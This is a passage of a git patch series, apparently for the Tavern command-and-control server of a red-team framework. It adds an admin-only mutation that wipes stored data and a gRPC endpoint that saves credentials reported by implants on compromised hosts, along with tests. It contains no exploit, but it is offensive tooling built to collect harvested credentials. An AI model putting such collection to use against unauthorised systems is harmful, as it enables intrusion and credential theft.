From 070c53d2d557c3e2809a8c4fbb9ebaf2f79bbc99 Mon Sep 17 00:00:00 2001
From: KCarretto <Kcarretto@gmail.com>
Date: Tue, 13 Feb 2024 00:39:47 +0000
Subject: [PATCH 1/4] added dropAllData admin mutation

---
 tavern/internal/ent/migrate/schema.go         |  8 +-
 tavern/internal/ent/schema/beacon.go          |  4 +
 tavern/internal/ent/schema/host_file.go       |  7 ++
 tavern/internal/ent/schema/host_process.go    |  7 ++
 tavern/internal/ent/schema/task.go            |  7 ++
 .../graphql/generated/mutation.generated.go   | 76 +++++++++++++++++++
 .../graphql/generated/root_.generated.go      | 13 ++++
 tavern/internal/graphql/mutation.resolvers.go | 40 ++++++++++
 tavern/internal/graphql/schema.graphql        |  5 ++
 .../internal/graphql/schema/mutation.graphql  |  5 ++
 .../mutations/dropAllData/DropsData.yml       | 26 +++++++
 .../dropAllData/PermissionDenied.yml          | 25 ++++++
 tavern/internal/www/schema.graphql            |  5 ++
 13 files changed, 224 insertions(+), 4 deletions(-)
 create mode 100644 tavern/internal/graphql/testdata/mutations/dropAllData/DropsData.yml
 create mode 100644 tavern/internal/graphql/testdata/mutations/dropAllData/PermissionDenied.yml

diff --git a/tavern/internal/ent/migrate/schema.go b/tavern/internal/ent/migrate/schema.go
index 325a2dfaa..bfd89a375 100644
--- a/tavern/internal/ent/migrate/schema.go
+++ b/tavern/internal/ent/migrate/schema.go
@@ -31,7 +31,7 @@ var (
 				Symbol:     "beacons_hosts_host",
 				Columns:    []*schema.Column{BeaconsColumns[9]},
 				RefColumns: []*schema.Column{HostsColumns[0]},
-				OnDelete:   schema.NoAction,
+				OnDelete:   schema.Cascade,
 			},
 		},
 	}
@@ -100,7 +100,7 @@ var (
 				Symbol:     "host_files_hosts_host",
 				Columns:    []*schema.Column{HostFilesColumns[11]},
 				RefColumns: []*schema.Column{HostsColumns[0]},
-				OnDelete:   schema.NoAction,
+				OnDelete:   schema.Cascade,
 			},
 			{
 				Symbol:     "host_files_tasks_reported_files",
@@ -144,7 +144,7 @@ var (
 				Symbol:     "host_processes_hosts_host",
 				Columns:    []*schema.Column{HostProcessesColumns[13]},
 				RefColumns: []*schema.Column{HostsColumns[0]},
-				OnDelete:   schema.NoAction,
+				OnDelete:   schema.Cascade,
 			},
 			{
 				Symbol:     "host_processes_tasks_reported_processes",
@@ -233,7 +233,7 @@ var (
 				Symbol:     "tasks_beacons_beacon",
 				Columns:    []*schema.Column{TasksColumns[10]},
 				RefColumns: []*schema.Column{BeaconsColumns[0]},
-				OnDelete:   schema.NoAction,
+				OnDelete:   schema.Cascade,
 			},
 		},
 	}
diff --git a/tavern/internal/ent/schema/beacon.go b/tavern/internal/ent/schema/beacon.go
index f58a98e6c..838897e0d 100644
--- a/tavern/internal/ent/schema/beacon.go
+++ b/tavern/internal/ent/schema/beacon.go
@@ -8,6 +8,7 @@ import (
 
 	"entgo.io/contrib/entgql"
 	"entgo.io/ent"
+	"entgo.io/ent/dialect/entsql"
 	"entgo.io/ent/schema"
 	"entgo.io/ent/schema/edge"
 	"entgo.io/ent/schema/field"
@@ -74,6 +75,9 @@ func (Beacon) Edges() []ent.Edge {
 		edge.To("host", Host.Type).
 			Required().
 			Unique().
+			Annotations(
+				entsql.OnDelete(entsql.Cascade),
+			).
 			Comment("Host this beacon is running on."),
 		edge.From("tasks", Task.Type).
 			Annotations(
diff --git a/tavern/internal/ent/schema/host_file.go b/tavern/internal/ent/schema/host_file.go
index 6bd040cc6..d627ba268 100644
--- a/tavern/internal/ent/schema/host_file.go
+++ b/tavern/internal/ent/schema/host_file.go
@@ -9,6 +9,7 @@ import (
 
 	"entgo.io/contrib/entgql"
 	"entgo.io/ent"
+	"entgo.io/ent/dialect/entsql"
 	"entgo.io/ent/schema"
 	"entgo.io/ent/schema/edge"
 	"entgo.io/ent/schema/field"
@@ -63,11 +64,17 @@ func (HostFile) Edges() []ent.Edge {
 		edge.To("host", Host.Type).
 			Required().
 			Unique().
+			Annotations(
+				entsql.OnDelete(entsql.Cascade),
+			).
 			Comment("Host the file was reported on."),
 		edge.From("task", Task.Type).
 			Required().
 			Unique().
 			Ref("reported_files").
+			Annotations(
+				entsql.OnDelete(entsql.Cascade),
+			).
 			Comment("Task that reported this file."),
 	}
 }
diff --git a/tavern/internal/ent/schema/host_process.go b/tavern/internal/ent/schema/host_process.go
index 5568d85e4..080d53f6c 100644
--- a/tavern/internal/ent/schema/host_process.go
+++ b/tavern/internal/ent/schema/host_process.go
@@ -3,6 +3,7 @@ package schema
 import (
 	"entgo.io/contrib/entgql"
 	"entgo.io/ent"
+	"entgo.io/ent/dialect/entsql"
 	"entgo.io/ent/schema"
 	"entgo.io/ent/schema/edge"
 	"entgo.io/ent/schema/field"
@@ -61,11 +62,17 @@ func (HostProcess) Edges() []ent.Edge {
 		edge.To("host", Host.Type).
 			Required().
 			Unique().
+			Annotations(
+				entsql.OnDelete(entsql.Cascade),
+			).
 			Comment("Host the process was reported on."),
 		edge.From("task", Task.Type).
 			Required().
 			Unique().
 			Ref("reported_processes").
+			Annotations(
+				entsql.OnDelete(entsql.Cascade),
+			).
 			Comment("Task that reported this process."),
 	}
 }
diff --git a/tavern/internal/ent/schema/task.go b/tavern/internal/ent/schema/task.go
index c874f0c6b..eaa6c5644 100644
--- a/tavern/internal/ent/schema/task.go
+++ b/tavern/internal/ent/schema/task.go
@@ -6,6 +6,7 @@ import (
 
 	"entgo.io/contrib/entgql"
 	"entgo.io/ent"
+	"entgo.io/ent/dialect/entsql"
 	"entgo.io/ent/schema"
 	"entgo.io/ent/schema/edge"
 	"entgo.io/ent/schema/field"
@@ -59,9 +60,15 @@ func (Task) Edges() []ent.Edge {
 	return []ent.Edge{
 		edge.From("quest", Quest.Type).
 			Ref("tasks").
+			Annotations(
+				entsql.OnDelete(entsql.Cascade),
+			).
 			Required().
 			Unique(),
 		edge.To("beacon", Beacon.Type).
+			Annotations(
+				entsql.OnDelete(entsql.Cascade),
+			).
 			Required().
 			Unique(),
 		edge.To("reported_files", HostFile.Type).
diff --git a/tavern/internal/graphql/generated/mutation.generated.go b/tavern/internal/graphql/generated/mutation.generated.go
index fc4605f72..45c37836d 100644
--- a/tavern/internal/graphql/generated/mutation.generated.go
+++ b/tavern/internal/graphql/generated/mutation.generated.go
@@ -17,6 +17,7 @@ import (
 // region    ************************** generated!.gotpl **************************
 
 type MutationResolver interface {
+	DropAllData(ctx context.Context) (bool, error)
 	CreateQuest(ctx context.Context, beaconIDs []int, input ent.CreateQuestInput) (*ent.Quest, error)
 	UpdateBeacon(ctx context.Context, beaconID int, input ent.UpdateBeaconInput) (*ent.Beacon, error)
 	UpdateHost(ctx context.Context, hostID int, input ent.UpdateHostInput) (*ent.Host, error)
@@ -229,6 +230,74 @@ func (ec *executionContext) field_Mutation_updateUser_args(ctx context.Context,
 
 // region    **************************** field.gotpl *****************************
 
+func (ec *executionContext) _Mutation_dropAllData(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Mutation_dropAllData(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		directive0 := func(rctx context.Context) (interface{}, error) {
+			ctx = rctx // use context from middleware stack in children
+			return ec.resolvers.Mutation().DropAllData(rctx)
+		}
+		directive1 := func(ctx context.Context) (interface{}, error) {
+			role, err := ec.unmarshalNRole2realmᚗpubᚋtavernᚋinternalᚋgraphqlᚋmodelsᚐRole(ctx, "ADMIN")
+			if err != nil {
+				return nil, err
+			}
+			if ec.directives.RequireRole == nil {
+				return nil, errors.New("directive requireRole is not implemented")
+			}
+			return ec.directives.RequireRole(ctx, nil, directive0, role)
+		}
+
+		tmp, err := directive1(rctx)
+		if err != nil {
+			return nil, graphql.ErrorOnPath(ctx, err)
+		}
+		if tmp == nil {
+			return nil, nil
+		}
+		if data, ok := tmp.(bool); ok {
+			return data, nil
+		}
+		return nil, fmt.Errorf(`unexpected type %T from directive, should be bool`, tmp)
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(bool)
+	fc.Result = res
+	return ec.marshalNBoolean2bool(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_Mutation_dropAllData(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "Mutation",
+		Field:      field,
+		IsMethod:   true,
+		IsResolver: true,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type Boolean does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
 func (ec *executionContext) _Mutation_createQuest(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) {
 	fc, err := ec.fieldContext_Mutation_createQuest(ctx, field)
 	if err != nil {
@@ -1121,6 +1190,13 @@ func (ec *executionContext) _Mutation(ctx context.Context, sel ast.SelectionSet)
 		switch field.Name {
 		case "__typename":
 			out.Values[i] = graphql.MarshalString("Mutation")
+		case "dropAllData":
+			out.Values[i] = ec.OperationContext.RootResolverMiddleware(innerCtx, func(ctx context.Context) (res graphql.Marshaler) {
+				return ec._Mutation_dropAllData(ctx, field)
+			})
+			if out.Values[i] == graphql.Null {
+				out.Invalids++
+			}
 		case "createQuest":
 			out.Values[i] = ec.OperationContext.RootResolverMiddleware(innerCtx, func(ctx context.Context) (res graphql.Marshaler) {
 				return ec._Mutation_createQuest(ctx, field)
diff --git a/tavern/internal/graphql/generated/root_.generated.go b/tavern/internal/graphql/generated/root_.generated.go
index ed29299e6..ecf5bd13e 100644
--- a/tavern/internal/graphql/generated/root_.generated.go
+++ b/tavern/internal/graphql/generated/root_.generated.go
@@ -119,6 +119,7 @@ type ComplexityRoot struct {
 		CreateTag    func(childComplexity int, input ent.CreateTagInput) int
 		CreateTome   func(childComplexity int, input ent.CreateTomeInput) int
 		DeleteTome   func(childComplexity int, tomeID int) int
+		DropAllData  func(childComplexity int) int
 		UpdateBeacon func(childComplexity int, beaconID int, input ent.UpdateBeaconInput) int
 		UpdateHost   func(childComplexity int, hostID int, input ent.UpdateHostInput) int
 		UpdateTag    func(childComplexity int, tagID int, input ent.UpdateTagInput) int
@@ -670,6 +671,13 @@ func (e *executableSchema) Complexity(typeName, field string, childComplexity in
 
 		return e.complexity.Mutation.DeleteTome(childComplexity, args["tomeID"].(int)), true
 
+	case "Mutation.dropAllData":
+		if e.complexity.Mutation.DropAllData == nil {
+			break
+		}
+
+		return e.complexity.Mutation.DropAllData(childComplexity), true
+
 	case "Mutation.updateBeacon":
 		if e.complexity.Mutation.UpdateBeacon == nil {
 			break
@@ -2994,6 +3002,11 @@ scalar Uint64
 }
 `, BuiltIn: false},
 	{Name: "../schema/mutation.graphql", Input: `type Mutation {
+    ####
+    # Admin
+    ####
+    dropAllData: Boolean! @requireRole(role: ADMIN)
+
     ###
     # Quest
     ###
diff --git a/tavern/internal/graphql/mutation.resolvers.go b/tavern/internal/graphql/mutation.resolvers.go
index 031df1a58..704071ad5 100644
--- a/tavern/internal/graphql/mutation.resolvers.go
+++ b/tavern/internal/graphql/mutation.resolvers.go
@@ -14,6 +14,46 @@ import (
 	"realm.pub/tavern/internal/graphql/generated"
 )
 
+// DropAllData is the resolver for the dropAllData field.
+func (r *mutationResolver) DropAllData(ctx context.Context) (bool, error) {
+	// Initialize Transaction
+	tx, err := r.client.Tx(ctx)
+	if err != nil {
+		return false, fmt.Errorf("failed to initialize transaction: %w", err)
+	}
+	client := tx.Client()
+
+	// Delete relevant ents
+	if _, err := client.Beacon.Delete().Exec(ctx); err != nil {
+		return false, rollback(tx, fmt.Errorf("failed to delete beacons: %w", err))
+	}
+	if _, err := client.HostFile.Delete().Exec(ctx); err != nil {
+		return false, rollback(tx, fmt.Errorf("failed to delete hostfiles: %w", err))
+	}
+	if _, err := client.HostProcess.Delete().Exec(ctx); err != nil {
+		return false, rollback(tx, fmt.Errorf("failed to delete hostprocesses: %w", err))
+	}
+	if _, err := client.Host.Delete().Exec(ctx); err != nil {
+		return false, rollback(tx, fmt.Errorf("failed to delete hosts: %w", err))
+	}
+	if _, err := client.Quest.Delete().Exec(ctx); err != nil {
+		return false, rollback(tx, fmt.Errorf("failed to delete quests: %w", err))
+	}
+	if _, err := client.Tag.Delete().Exec(ctx); err != nil {
+		return false, rollback(tx, fmt.Errorf("failed to delete tags: %w", err))
+	}
+	if _, err := client.Task.Delete().Exec(ctx); err != nil {
+		return false, rollback(tx, fmt.Errorf("failed to delete tasks: %w", err))
+	}
+
+	// Commit
+	if err := tx.Commit(); err != nil {
+		return false, rollback(tx, fmt.Errorf("failed to commit transaction: %w", err))
+	}
+
+	return true, nil
+}
+
 // CreateQuest is the resolver for the createQuest field.
 func (r *mutationResolver) CreateQuest(ctx context.Context, beaconIDs []int, input ent.CreateQuestInput) (*ent.Quest, error) {
 	// 1. Begin Transaction
diff --git a/tavern/internal/graphql/schema.graphql b/tavern/internal/graphql/schema.graphql
index dddd3d262..5e62246f3 100644
--- a/tavern/internal/graphql/schema.graphql
+++ b/tavern/internal/graphql/schema.graphql
@@ -1637,6 +1637,11 @@ input SubmitTaskResultInput {
   error: String
 }
 type Mutation {
+    ####
+    # Admin
+    ####
+    dropAllData: Boolean! @requireRole(role: ADMIN)
+
     ###
     # Quest
     ###
diff --git a/tavern/internal/graphql/schema/mutation.graphql b/tavern/internal/graphql/schema/mutation.graphql
index adf5b1194..34cbc0a8e 100644
--- a/tavern/internal/graphql/schema/mutation.graphql
+++ b/tavern/internal/graphql/schema/mutation.graphql
@@ -1,4 +1,9 @@
 type Mutation {
+    ####
+    # Admin
+    ####
+    dropAllData: Boolean! @requireRole(role: ADMIN)
+
     ###
     # Quest
     ###
diff --git a/tavern/internal/graphql/testdata/mutations/dropAllData/DropsData.yml b/tavern/internal/graphql/testdata/mutations/dropAllData/DropsData.yml
new file mode 100644
index 000000000..b490db366
--- /dev/null
+++ b/tavern/internal/graphql/testdata/mutations/dropAllData/DropsData.yml
@@ -0,0 +1,26 @@
+state: |
+  INSERT INTO `users` (id,oauth_id,photo_url,name,session_token,access_token,is_activated,is_admin)
+    VALUES (5,"test_oauth_id","https://photos.com","test","secretToken","accessToken",true,true);
+  INSERT INTO `hosts` (id, name, identifier, platform, created_at, last_modified_at)
+    VALUES (1010,"db1","EXISTING-HOST", "PLATFORM_UNSPECIFIED", "2024-01-22 14:51:13", "2024-01-22 14:51:13");
+  INSERT INTO `beacons` (id, name, identifier, beacon_host, created_at, last_modified_at)
+    VALUES (1337,"delightful-lich","ABCDEFG-123456",1010, "2024-01-22 14:51:13", "2024-01-22 14:51:13");
+  INSERT INTO `tomes` (id, name, description, author, eldritch, hash, created_at, last_modified_at)
+    VALUES (2000,"Test Tome","Used in a unit test :D", "kcarretto", "print('Hello World!')", "abcdefg", "2023-03-04 14:51:13", "2023-03-04 14:51:13");
+  INSERT INTO `files` (id, name, content, hash, created_at, last_modified_at)
+    VALUES (3000, "TestFile1", "hello world", "a948904f2f0f479b8f8197694b30184b0d2ed1c1cd2a1ec0fb85d299a192a447", "2023-03-04 14:51:13", "2023-03-04 14:51:13");
+  INSERT INTO `files` (id, name, content, hash, created_at, last_modified_at)
+    VALUES (3001, "TestFile2", "some test", "a9d9e8df0488c7e7e9236e43fe0c9385d7ea6920700db55d305f55dca76ddb0b", "2023-03-04 14:51:13", "2023-03-04 14:51:13");
+  INSERT INTO `tome_files` (tome_id, file_id)
+    VALUES (2000, 3000);
+  INSERT INTO `tome_files` (tome_id, file_id)
+    VALUES (2000, 3001);
+requestor:
+  session_token: secretToken
+query: |
+  mutation DropAllData {
+    dropAllData
+  }
+
+expected:
+  dropAllData: true
diff --git a/tavern/internal/graphql/testdata/mutations/dropAllData/PermissionDenied.yml b/tavern/internal/graphql/testdata/mutations/dropAllData/PermissionDenied.yml
new file mode 100644
index 000000000..2bc7c7841
--- /dev/null
+++ b/tavern/internal/graphql/testdata/mutations/dropAllData/PermissionDenied.yml
@@ -0,0 +1,25 @@
+state: |
+  INSERT INTO `users` (id,oauth_id,photo_url,name,session_token,access_token,is_activated,is_admin)
+    VALUES (5,"test_oauth_id","https://photos.com","test","secretToken","accessToken",true,false);
+  INSERT INTO `hosts` (id, name, identifier, platform, created_at, last_modified_at)
+    VALUES (1010,"db1","EXISTING-HOST", "PLATFORM_UNSPECIFIED", "2024-01-22 14:51:13", "2024-01-22 14:51:13");
+  INSERT INTO `beacons` (id, name, identifier, beacon_host, created_at, last_modified_at)
+    VALUES (1337,"delightful-lich","ABCDEFG-123456",1010, "2024-01-22 14:51:13", "2024-01-22 14:51:13");
+  INSERT INTO `tomes` (id, name, description, author, eldritch, hash, created_at, last_modified_at)
+    VALUES (2000,"Test Tome","Used in a unit test :D", "kcarretto", "print('Hello World!')", "abcdefg", "2023-03-04 14:51:13", "2023-03-04 14:51:13");
+  INSERT INTO `files` (id, name, content, hash, created_at, last_modified_at)
+    VALUES (3000, "TestFile1", "hello world", "a948904f2f0f479b8f8197694b30184b0d2ed1c1cd2a1ec0fb85d299a192a447", "2023-03-04 14:51:13", "2023-03-04 14:51:13");
+  INSERT INTO `files` (id, name, content, hash, created_at, last_modified_at)
+    VALUES (3001, "TestFile2", "some test", "a9d9e8df0488c7e7e9236e43fe0c9385d7ea6920700db55d305f55dca76ddb0b", "2023-03-04 14:51:13", "2023-03-04 14:51:13");
+  INSERT INTO `tome_files` (tome_id, file_id)
+    VALUES (2000, 3000);
+  INSERT INTO `tome_files` (tome_id, file_id)
+    VALUES (2000, 3001);
+requestor:
+  session_token: secretToken
+query: |
+  mutation DropAllData {
+    dropAllData
+  }
+
+expected_error: "permission denied"
diff --git a/tavern/internal/www/schema.graphql b/tavern/internal/www/schema.graphql
index dddd3d262..5e62246f3 100644
--- a/tavern/internal/www/schema.graphql
+++ b/tavern/internal/www/schema.graphql
@@ -1637,6 +1637,11 @@ input SubmitTaskResultInput {
   error: String
 }
 type Mutation {
+    ####
+    # Admin
+    ####
+    dropAllData: Boolean! @requireRole(role: ADMIN)
+
     ###
     # Quest
     ###

From 6271305ec1efb09e9bbe8d9febb2ecf44de00bb9 Mon Sep 17 00:00:00 2001
From: KCarretto <Kcarretto@gmail.com>
Date: Tue, 13 Feb 2024 02:20:13 +0000
Subject: [PATCH 2/4] added credential API

---
 tavern/internal/c2/api_report_credential.go   |   47 +
 .../internal/c2/api_report_credential_test.go |  181 +
 tavern/internal/c2/api_report_file.go         |    4 +-
 tavern/internal/c2/api_report_file_test.go    |    2 +-
 tavern/internal/c2/c2pb/c2.pb.go              |  340 +-
 tavern/internal/c2/c2pb/c2_grpc.pb.go         |   38 +
 tavern/internal/c2/epb/eldritch.pb.go         |  311 +-
 .../internal/c2/epb/enum_credential_kind.go   |   69 +
 .../c2/epb/enum_credential_kind_test.go       |   75 +
 tavern/internal/c2/proto/c2.proto             |   11 +
 tavern/internal/c2/proto/eldritch.proto       |   15 +-
 tavern/internal/ent/client.go                 |  269 +-
 tavern/internal/ent/ent.go                    |   22 +-
 tavern/internal/ent/gql_collection.go         |  149 +
 tavern/internal/ent/gql_edge.go               |   40 +
 tavern/internal/ent/gql_mutation_input.go     |   42 +-
 tavern/internal/ent/gql_node.go               |   32 +
 tavern/internal/ent/gql_pagination.go         |  330 +
 tavern/internal/ent/gql_where_input.go        |  405 +-
 tavern/internal/ent/hook/hook.go              |   12 +
 tavern/internal/ent/host.go                   |   53 +-
 tavern/internal/ent/host/host.go              |   30 +
 tavern/internal/ent/host/where.go             |   23 +
 tavern/internal/ent/host_create.go            |   32 +
 tavern/internal/ent/host_query.go             |  145 +-
 tavern/internal/ent/host_update.go            |  163 +
 tavern/internal/ent/hostcredential.go         |  213 +
 .../ent/hostcredential/hostcredential.go      |  145 +
 tavern/internal/ent/hostcredential/where.go   |  347 +
 tavern/internal/ent/hostcredential_create.go  |  690 ++
 tavern/internal/ent/hostcredential_delete.go  |   88 +
 tavern/internal/ent/hostcredential_query.go   |  701 ++
 tavern/internal/ent/hostcredential_update.go  |  482 ++
 tavern/internal/ent/hostfile.go               |    4 +-
 tavern/internal/ent/hostfile/hostfile.go      |    4 +-
 tavern/internal/ent/hostfile/where.go         |   18 +-
 tavern/internal/ent/hostfile_create.go        |   24 +-
 tavern/internal/ent/hostfile_update.go        |   40 +-
 tavern/internal/ent/migrate/schema.go         |   35 +-
 tavern/internal/ent/mutation.go               | 1308 +++-
 tavern/internal/ent/predicate/predicate.go    |    3 +
 tavern/internal/ent/privacy/privacy.go        |   24 +
 tavern/internal/ent/runtime/runtime.go        |   28 +-
 tavern/internal/ent/schema/host.go            |    3 +
 tavern/internal/ent/schema/host_credential.go |   76 +
 tavern/internal/ent/schema/host_file.go       |    7 +-
 tavern/internal/ent/schema/host_file_test.go  |    2 +-
 tavern/internal/ent/schema/task.go            |    2 +
 tavern/internal/ent/task.go                   |   49 +-
 tavern/internal/ent/task/task.go              |   30 +
 tavern/internal/ent/task/where.go             |   23 +
 tavern/internal/ent/task_create.go            |   32 +
 tavern/internal/ent/task_query.go             |  143 +-
 tavern/internal/ent/task_update.go            |  163 +
 tavern/internal/ent/tx.go                     |    3 +
 .../graphql/generated/ent.generated.go        | 6598 ++++++++++-------
 .../graphql/generated/mutation.generated.go   |    2 +
 .../graphql/generated/root_.generated.go      |  232 +-
 tavern/internal/graphql/schema.graphql        |  129 +-
 tavern/internal/graphql/schema/ent.graphql    |  129 +-
 tavern/internal/www/schema.graphql            |  129 +-
 61 files changed, 11492 insertions(+), 3254 deletions(-)
 create mode 100644 tavern/internal/c2/api_report_credential.go
 create mode 100644 tavern/internal/c2/api_report_credential_test.go
 create mode 100644 tavern/internal/c2/epb/enum_credential_kind.go
 create mode 100644 tavern/internal/c2/epb/enum_credential_kind_test.go
 create mode 100644 tavern/internal/ent/hostcredential.go
 create mode 100644 tavern/internal/ent/hostcredential/hostcredential.go
 create mode 100644 tavern/internal/ent/hostcredential/where.go
 create mode 100644 tavern/internal/ent/hostcredential_create.go
 create mode 100644 tavern/internal/ent/hostcredential_delete.go
 create mode 100644 tavern/internal/ent/hostcredential_query.go
 create mode 100644 tavern/internal/ent/hostcredential_update.go
 create mode 100644 tavern/internal/ent/schema/host_credential.go

diff --git a/tavern/internal/c2/api_report_credential.go b/tavern/internal/c2/api_report_credential.go
new file mode 100644
index 000000000..bb2199259
--- /dev/null
+++ b/tavern/internal/c2/api_report_credential.go
@@ -0,0 +1,47 @@
+package c2
+
+import (
+	"context"
+
+	"google.golang.org/grpc/codes"
+	"google.golang.org/grpc/status"
+	"realm.pub/tavern/internal/c2/c2pb"
+	"realm.pub/tavern/internal/ent"
+)
+
+func (srv *Server) ReportCredential(ctx context.Context, req *c2pb.ReportCredentialRequest) (*c2pb.ReportCredentialResponse, error) {
+	// Validate Arguments
+	if req.TaskId == 0 {
+		return nil, status.Errorf(codes.InvalidArgument, "must provide task id")
+	}
+	if req.Credential == nil {
+		return nil, status.Errorf(codes.InvalidArgument, "must provide credential")
+	}
+
+	// Load Task
+	task, err := srv.graph.Task.Get(ctx, int(req.TaskId))
+	if ent.IsNotFound(err) {
+		return nil, status.Errorf(codes.NotFound, "no task found")
+	}
+	if err != nil {
+		return nil, status.Errorf(codes.Internal, "failed to load task")
+	}
+
+	// Load Host
+	host, err := task.QueryBeacon().QueryHost().Only(ctx)
+	if err != nil {
+		return nil, status.Errorf(codes.Internal, "failed to load host")
+	}
+
+	// Create Credential
+	if _, err := srv.graph.HostCredential.Create().
+		SetHost(host).
+		SetTask(task).
+		SetPrincipal(req.Credential.Principal).
+		SetSecret(req.Credential.Secret).
+		Save(ctx); err != nil {
+		return nil, status.Errorf(codes.Internal, "failed to save credential")
+	}
+
+	return &c2pb.ReportCredentialResponse{}, nil
+}
diff --git a/tavern/internal/c2/api_report_credential_test.go b/tavern/internal/c2/api_report_credential_test.go
new file mode 100644
index 000000000..bfe3d4535
--- /dev/null
+++ b/tavern/internal/c2/api_report_credential_test.go
@@ -0,0 +1,181 @@
+package c2_test
+
+import (
+	"context"
+	"testing"
+
+	"github.com/google/go-cmp/cmp"
+	"github.com/google/go-cmp/cmp/cmpopts"
+	"github.com/stretchr/testify/assert"
+	"github.com/stretchr/testify/require"
+	"google.golang.org/grpc/codes"
+	"google.golang.org/grpc/status"
+	"google.golang.org/protobuf/testing/protocmp"
+	"realm.pub/tavern/internal/c2/c2pb"
+	"realm.pub/tavern/internal/c2/c2test"
+	"realm.pub/tavern/internal/c2/epb"
+	"realm.pub/tavern/internal/ent"
+)
+
+func TestReportCredentialList(t *testing.T) {
+	// Setup Dependencies
+	ctx := context.Background()
+	client, graph, close := c2test.New(t)
+	defer close()
+
+	// Test Data
+	existingBeacon := c2test.NewRandomBeacon(ctx, graph)
+	existingTask := c2test.NewRandomAssignedTask(ctx, graph, existingBeacon.Identifier)
+	existingHost := existingBeacon.QueryHost().OnlyX(ctx)
+	existingCredential := graph.HostCredential.Create().
+		SetHost(existingHost).
+		SetTask(existingTask).
+		SetPrincipal("test-cred").
+		SetSecret("test-secret").
+		SaveX(ctx)
+
+	// Test Cases
+	tests := []struct {
+		name string
+		host *ent.Host
+		task *ent.Task
+		req  *c2pb.ReportCredentialRequest
+
+		wantResp            *c2pb.ReportCredentialResponse
+		wantCode            codes.Code
+		wantHostCredentials []*epb.Credential
+	}{
+		{
+			name: "DuplicateCredential",
+			host: existingHost,
+			task: existingTask,
+			req: &c2pb.ReportCredentialRequest{
+				TaskId: int64(existingTask.ID),
+				Credential: &epb.Credential{
+					Principal: existingCredential.Principal,
+					Secret:    existingCredential.Secret,
+				},
+			},
+			wantResp: &c2pb.ReportCredentialResponse{},
+			wantCode: codes.OK,
+			wantHostCredentials: []*epb.Credential{
+				{
+					Principal: existingCredential.Principal,
+					Secret:    existingCredential.Secret,
+				},
+				{
+					Principal: existingCredential.Principal,
+					Secret:    existingCredential.Secret,
+				},
+			},
+		},
+		{
+			name: "NewCredential",
+			host: existingHost,
+			task: existingTask,
+			req: &c2pb.ReportCredentialRequest{
+				TaskId: int64(existingTask.ID),
+				Credential: &epb.Credential{
+					Principal: "root",
+					Secret:    "changeme123",
+				},
+			},
+			wantResp: &c2pb.ReportCredentialResponse{},
+			wantCode: codes.OK,
+			wantHostCredentials: []*epb.Credential{
+				{
+					Principal: existingCredential.Principal,
+					Secret:    existingCredential.Secret,
+				},
+				{
+					Principal: existingCredential.Principal,
+					Secret:    existingCredential.Secret,
+				},
+				{
+					Principal: "root",
+					Secret:    "changeme123",
+				},
+			},
+		},
+
+		{
+			name: "NoTaskID",
+			host: existingHost,
+			task: existingTask,
+			req: &c2pb.ReportCredentialRequest{
+				Credential: &epb.Credential{
+					Principal: "root",
+					Secret:    "this_will_not_work",
+				},
+			},
+			wantResp: nil,
+			wantCode: codes.InvalidArgument,
+		},
+		{
+			name: "NoCredential",
+			host: existingHost,
+			task: existingTask,
+			req: &c2pb.ReportCredentialRequest{
+				TaskId: int64(existingTask.ID),
+			},
+			wantResp: nil,
+			wantCode: codes.InvalidArgument,
+		},
+		{
+			name: "NotFound",
+			req: &c2pb.ReportCredentialRequest{
+				TaskId: 99888777776666,
+				Credential: &epb.Credential{
+					Principal: "root",
+					Secret:    "oopsies",
+				},
+			},
+			wantResp: nil,
+			wantCode: codes.NotFound,
+		},
+	}
+
+	// Run Tests
+	for _, tc := range tests {
+		t.Run(tc.name, func(t *testing.T) {
+			// gRPC
+			resp, err := client.ReportCredential(ctx, tc.req)
+
+			// Assert Response Code
+			require.Equal(t, tc.wantCode.String(), status.Code(err).String(), err)
+			if status.Code(err) != codes.OK {
+				// Do not continue if we expected error code
+				return
+			}
+
+			// Assert Response
+			if diff := cmp.Diff(tc.wantResp, resp, protocmp.Transform()); diff != "" {
+				t.Errorf("invalid response (-want +got): %v", diff)
+			}
+
+			// Reload Host
+			host := graph.Host.GetX(ctx, tc.host.ID)
+
+			// Assert Host Credentials
+			var pbHostCreds []*epb.Credential
+			entHostCredentials := host.QueryCredentials().AllX(ctx)
+			for _, cred := range entHostCredentials {
+				pbHostCreds = append(pbHostCreds, &epb.Credential{Principal: cred.Principal, Secret: cred.Secret})
+			}
+
+			comparer := func(x any, y any) bool {
+				credX, okX := x.(*epb.Credential)
+				credY, okY := y.(*epb.Credential)
+				if !okX || !okY {
+					return false
+				}
+
+				return credX.Principal < credY.Principal
+			}
+			assert.Equal(t, len(tc.wantHostCredentials), len(pbHostCreds))
+			if diff := cmp.Diff(tc.wantHostCredentials, pbHostCreds, protocmp.Transform(), cmpopts.SortSlices(comparer)); diff != "" {
+				t.Errorf("invalid host credentials (-want +got): %v", diff)
+			}
+		})
+	}
+}
diff --git a/tavern/internal/c2/api_report_file.go b/tavern/internal/c2/api_report_file.go
index f6d755aaf..b72d6e8a1 100644
--- a/tavern/internal/c2/api_report_file.go
+++ b/tavern/internal/c2/api_report_file.go
@@ -19,7 +19,7 @@ func (srv *Server) ReportFile(stream c2pb.C2_ReportFileServer) error {
 		owner       string
 		group       string
 		permissions string
-		size        int
+		size        uint64
 		hash        string
 
 		content []byte
@@ -55,7 +55,7 @@ func (srv *Server) ReportFile(stream c2pb.C2_ReportFileServer) error {
 			permissions = req.Chunk.GetPermissions()
 		}
 		if size == 0 {
-			size = int(req.Chunk.GetSize())
